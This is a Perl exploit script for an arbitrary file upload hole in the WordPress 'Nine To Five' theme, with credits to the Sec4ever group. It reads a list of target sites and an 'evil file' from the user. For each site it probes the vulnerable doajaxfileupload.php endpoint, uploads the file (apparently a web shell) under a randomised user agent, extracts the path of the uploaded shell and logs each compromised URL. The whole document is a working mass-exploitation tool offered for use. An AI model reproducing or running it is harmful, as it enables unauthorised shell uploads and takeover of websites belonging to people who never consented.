hdhdd

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
# Bug Founder Miutex
# Coded By M-A
# Greet's : My Brother Mootaz & Boy & MMxM & Rab3oun & All Sec4ever Menber
# Perl Lov3r :)
my $qqvul ="/doajaxfileupload.php";#theme path vul
my $log = "log.txt";
my $datestring = localtime();
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();

sub randomagent {
my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
);
my $random = $array[rand @array];
return($random);
}
flag();
print "[+] Enter List Of Target : ";
chomp (my $list=<>);
print "[+] Enter Evil File : ";
chomp (my $file=<>);
print "[+] Started : $datestring\n";
open(my $arq,'<'.$list) || die($!);
my @site = <$arq>;
@site = grep { !/^$/ } @site;
close($arq);
print "[".($#site+1)."] URL to test upload\n\n";
my $i;
foreach my $web(@site){$i++;
    chomp($web);
    if($web !~ /^(http|https):\/\//){
        $web = 'http://'.$web;
    }
print "[$i] $web \n";
expqq($web);#exploiting website :)
}
sub expqq{
    my $useragent = randomagent();#Get a Random User Agent
    my $cookie_jar = HTTP::Cookies->new;
    my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 },cookie_jar => $cookie_jar);#Https websites accept
    $ua->timeout(10);
    $ua->agent($useragent);
    print "[Testing] Exploit Existence \n";
    my $url = $_[0]."/wp-content/themes/ninetofive/scripts/".$qqvul;
    my $response = $ua->get($url);
    if ($response->is_success || $response->content=~/error/){
        print "[OK] Exploit Exists\n";
        print "[*] Sent payload\n";
        my $regex = 'success';
        my $body = $ua->post( $url,
            Content_Type => 'form-data',
            Content => [ 'qqfile' => ["$file"] ]
        );
        if ($body->is_success ||$body->content=~ /$regex/){
            print "[+] Payload successfully executed\n";
            print "[*] Checking if shell was uploaded\n\n";
            my $x = $cookie_jar->set_cookie->as_string;
            my @ss = split (/uploads/,$x);
            my @r = split (/; path=/,$ss[1],0);
            print "[Path] $_[0]/wp-content/uploads/$r[0]\n\n";
            save ($log,"$_[0]/wp-content/uploads/$r[0]");
        }
        else {
            print "[-] Payload failed : Not vulnerable\n\n";
        }
    }
    else {
        print "[No] Exploit Not Found\n\n";
    }
}
sub flag {
    print "\n[+] WP Nine To Five Theme File Upload Exploiter \n[*] Coder => M-A \n[*] Bug Founder Miutex \n(c) Sec4ever\n\n";
}

sub save {
    my ($file,$item) = @_;
    open(SAVE,">>".$file);
    print SAVE $item."\n";
    close(SAVE);
}